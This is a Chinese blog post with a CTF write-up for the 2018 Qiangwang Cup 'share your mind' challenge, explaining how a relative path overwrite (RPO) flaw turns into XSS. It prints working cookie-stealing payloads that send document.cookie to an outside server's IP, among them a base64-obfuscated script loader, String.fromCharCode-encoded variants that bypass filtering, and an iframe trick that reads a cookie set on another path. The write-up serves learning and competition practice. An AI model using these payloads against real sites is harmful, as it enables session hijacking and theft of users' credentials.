美文网首页我爱编程
RPO攻击导致的XSS

RPO攻击导致的XSS

作者: _阿烨_ | 来源:发表于2018-04-07 20:24 被阅读0次

以2018强网杯share your mind为例

RPO攻击相关的文章
http://blog.nsfocus.net/rpo-attack/
https://xz.aliyun.com/t/2220

接下来是我的解题过程

比赛网址
http://39.107.33.96:20000/login.php

一开始以为是在report的XSS,所以疯狂打report,就是打过来的cookie一直为空


image.png
image.png

可用的payload

xss平台生成的
url=http://39.107.33.96:20000/"><img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8veHNzcHQuY29tL0tFY1VIbz8nK01hdGgucmFuZG9tKCk='))>

自己vps的
http://39.107.33.96:20000/"><img src=x onerror = this.src='http://39.108.80.149:2333?cookie1='+document.cookie;>

自己vps的
http://39.107.33.96:20000/"><img src=x onerror = this.src='http://39.108.80.149:2333?cookie2='["concat"](document["cookie"]);>

结果cookie一直为空

image.png

开始尝试别的姿势

被hint误导,搞了一会儿这个,但是没找到可传入的file参数,遂放弃
从PhantomJS图片渲染中的XSS漏洞到SSRF/本地文件读取漏洞
https://www.anquanke.com/post/id/86371

到了晚上又有了hint,xss的点不在report页面。。。搞了一个下午都白搞了,差点一口老血喷出来

image.png

尝试RPO攻击

第一次遇到RPO,还是那句话,静下心来读paper,认真读了绿盟这篇paper,http://blog.nsfocus.net/rpo-attack/ ,就把题目顺利做出来了

index.php调用了相对路径的js

http://39.107.33.96:20000/index.php

image.png
第一个是相对路径,第二个是绝对路径

此时我们先创建文章

image.png

然后得到文章链接

http://39.107.33.96:20000/index.php/view/article/3093

image.png

构造xss

http://39.107.33.96:20000/index.php/view/article/3093/..%2f..%2f..%2f

后端服务器会url解码并识别为
http://39.107.33.96:20000/index.php/view/article/3093/../../../
即为 http://39.107.33.96:20000/index.php
其中包含有js相对资源: static/js/jquery.min.js

但是浏览器在渲染的时候,无法url解码
http://39.107.33.96:20000/index.php/view/article/3093/..%2f..%2f..%2f
所以 static/js/jquery.min.js 是接在目录 3093/后面,构成了
http://39.107.33.96:20000/index.php/view/article/3093/static/js/jquery.min.js
然后在渲染的时候将该页面的内容作为js脚本来加载
http://39.107.33.96:20000/index.php/view/article/3093
image.png
image.png
image.png

绕过xss敏感词的转译

既然是js语法,用document.write(String.fromcharcode())可以绕过,可以用hackbar生成

原始payload
<img src=x onerror = this.src='http://39.108.80.149:2333?cookie1='+document.cookie;>

编码payload
document.write(String.fromCharCode(60, 105, 109, 103, 32, 115, 114, 99, 61, 120, 32, 111, 110, 101, 114, 114, 111, 114, 32, 61, 32, 116, 104, 105, 115, 46, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47, 47, 51, 57, 46, 49, 48, 56, 46, 56, 48, 46, 49, 52, 57, 58, 50, 51, 51, 51, 63, 99, 111, 111, 107, 105, 101, 49, 61, 39, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 62))

生成文章后,将payload通过report发给admin,后台机器人会自动点击触发

http://39.107.33.96:20000/index.php/view/article/3093/..%2f..%2f..%2f
image.png

接下来要拿到得到路径/QWB_fl4g/QWB/下的cookie,这里可以利用iframe的特性+document语法来实现

原始payload
<iframe src="/QWB_fl4g/QWB/" id="123"></iframe><img src=x onerror = "location.href='http://39.108.80.149:2333/?cookie1='+document.getElementById('123').contentWindow.document.cookie">

编码后的payload
document.write(String.fromCharCode(60, 105, 102, 114, 97, 109, 101, 32, 115, 114, 99, 61, 34, 47, 81, 87, 66, 95, 102, 108, 52, 103, 47, 81, 87, 66, 47, 34, 32, 105, 100, 61, 34, 49, 50, 51, 34, 62, 60, 47, 105, 102, 114, 97, 109, 101, 62, 60, 105, 109, 103, 32, 115, 114, 99, 61, 120, 32, 111, 110, 101, 114, 114, 111, 114, 32, 61, 32, 34, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 39, 104, 116, 116, 112, 58, 47, 47, 51, 57, 46, 49, 48, 56, 46, 56, 48, 46, 49, 52, 57, 58, 50, 51, 51, 51, 47, 63, 99, 111, 111, 107, 105, 101, 49, 61, 39, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 39, 49, 50, 51, 39, 41, 46, 99, 111, 110, 116, 101, 110, 116, 87, 105, 110, 100, 111, 119, 46, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 34, 62))
image.png

得到flag~

最后附上某个知识星球对RPO攻击的讲解

RPO.jpg

相关文章

网友评论

    本文标题:RPO攻击导致的XSS

    本文链接:https://www.haomeiwen.com/subject/vqedhftx.html